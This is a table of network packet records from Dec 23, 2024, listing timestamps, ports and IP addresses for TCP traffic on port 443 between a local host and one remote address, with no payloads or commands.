Dec 23, 2024 01:21:16.283471107 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:16.636523008 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:16.636557102 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:16.636591911 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:16.636617899 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:16.636701107 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:16.636719942 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:16.636746883 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:16.636784077 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:16.636797905 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:16.636830091 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:16.636909008 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:16.636924982 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:16.636996984 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:16.847352982 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:16.847415924 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.197493076 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.197532892 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.197552919 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.197561026 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.197658062 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.197669983 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.197689056 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.197695017 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.197848082 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.197855949 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.197916031 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.407330990 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.407502890 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.703682899 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.703716040 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.703731060 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.703739882 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.703924894 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.703936100 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.703950882 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.703957081 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.704240084 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.704247952 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.704320908 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:17.915332079 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:17.915467024 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.181469917 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.181499004 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.181518078 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.181526899 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.181905985 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.181916952 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.181931019 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.181936979 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.182209015 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.182219982 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.182306051 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.391338110 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.391400099 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.590064049 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.590136051 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.590178013 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.590208054 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.590248108 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.590267897 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.590290070 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.590341091 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.590435982 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:18.795366049 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:18.795438051 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.202291012 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.202342987 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.202364922 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.202377081 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.202470064 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.202482939 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.202507973 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.202625036 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.407345057 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.407394886 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.543302059 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.543333054 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.543349981 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.543364048 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.543370962 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.543505907 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.543518066 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.543559074 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.543626070 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.751370907 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.751743078 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.981894970 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.981940031 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.981967926 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982018948 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982036114 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982063055 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982089996 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982089996 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982110977 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982141018 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982198000 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982198000 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982213020 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982239008 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982264996 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982284069 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982321024 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982342958 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982342958 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982402086 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:19.982417107 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:19.982470036 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:20.191365004 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.191610098 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:20.534049988 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:20.534071922 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.534084082 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.534090996 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.534147024 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:20.534152985 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.534194946 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:20.534200907 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.534213066 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.534241915 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:20.534251928 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.534286976 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:20.534329891 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:20.739387035 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:20.739521027 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.008656979 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.008694887 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.008713961 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.008728981 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.008826017 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.008837938 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.008862019 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.008878946 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.009016037 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.009025097 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.009071112 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.219335079 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.219429970 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.520855904 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.520873070 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.520888090 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.520901918 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.520972967 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.520992041 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.521011114 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.521035910 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.521043062 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.521059990 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.521106005 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.521187067 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.521193981 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.521250010 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.727376938 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.727447033 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.981487989 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.981506109 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.981518030 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.981527090 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.981618881 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.981628895 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.981645107 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.981652975 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.981936932 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:21.981945038 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:21.981993914 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.191379070 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.191457033 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.434778929 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.434834957 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.434870958 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.434901953 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.434937954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.434956074 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.435059071 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.435075045 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.435106039 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.435148954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.435148954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.435148954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.435235977 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.435250044 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.435374975 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.643367052 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.643639088 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.886346102 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.886385918 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.886413097 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.886450052 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.886495113 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.886496067 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.886521101 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.886555910 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.886569023 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.886603117 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.886635065 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.886684895 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:22.886701107 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:22.886775017 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.091375113 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.091445923 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.378985882 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.379010916 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.379024982 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.379040003 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.379070044 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.379153967 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.379163027 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.379177094 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.379190922 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.379333973 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.379340887 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.379409075 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.587344885 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.587471008 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.795348883 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.795450926 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.847728968 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.847762108 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.847784042 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.847796917 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.847946882 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:23.847959042 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.847978115 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:23.848093987 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.055380106 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.055443048 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.287811041 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.287842035 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.287861109 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.287873030 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.287975073 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.287986040 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.288001060 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.288014889 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.288057089 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.288064003 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.288150072 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.288158894 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.288212061 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.499346972 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.499449968 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.747637987 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.747663975 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.747684002 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.747771025 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.747780085 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.747795105 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.747807980 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.747853994 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.747906923 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.747915983 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.747965097 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:24.959372997 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:24.959553003 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.192987919 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.193011999 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.193062067 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.193145990 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.193155050 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.193171978 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.193192005 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.193222046 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.193276882 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.193284988 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.193317890 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.193351030 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.403338909 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.403415918 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.660406113 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.660454988 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.660495996 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.660581112 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.660609961 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.660648108 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.660684109 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.660701036 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.660733938 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.660761118 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.660773039 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.660823107 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.660849094 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.660865068 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.660937071 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:25.867351055 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:25.867432117 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.116492987 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.116544008 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.116600990 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.116638899 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.116669893 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.116684914 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.116712093 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.116739988 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.116761923 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.116797924 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.116799116 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.116812944 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.116863012 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.116879940 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.116910934 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.116971970 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.323333979 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.323407888 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.628863096 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.628896952 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.628912926 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.628927946 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.629019022 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.629029036 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.629043102 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.629055977 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.629163027 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.629170895 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.629188061 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.629218102 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.629261971 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:26.835335970 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:26.835427046 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.095820904 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.095865011 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.095885038 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.095896959 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.095963955 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.095974922 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.095988989 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.096004009 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.096033096 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.096039057 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.096100092 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.096110106 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.096211910 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.307339907 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.307395935 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.608392954 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.608419895 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.608437061 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.608452082 CET	443	49731	162.125.69.15	192.168.2.4
Dec 23, 2024 01:21:27.608531952 CET	49731	443	192.168.2.4	162.125.69.15
Dec 23, 2024 01:21:27.608542919 CET	443	49731	162.125.69.15	192.168.2.4
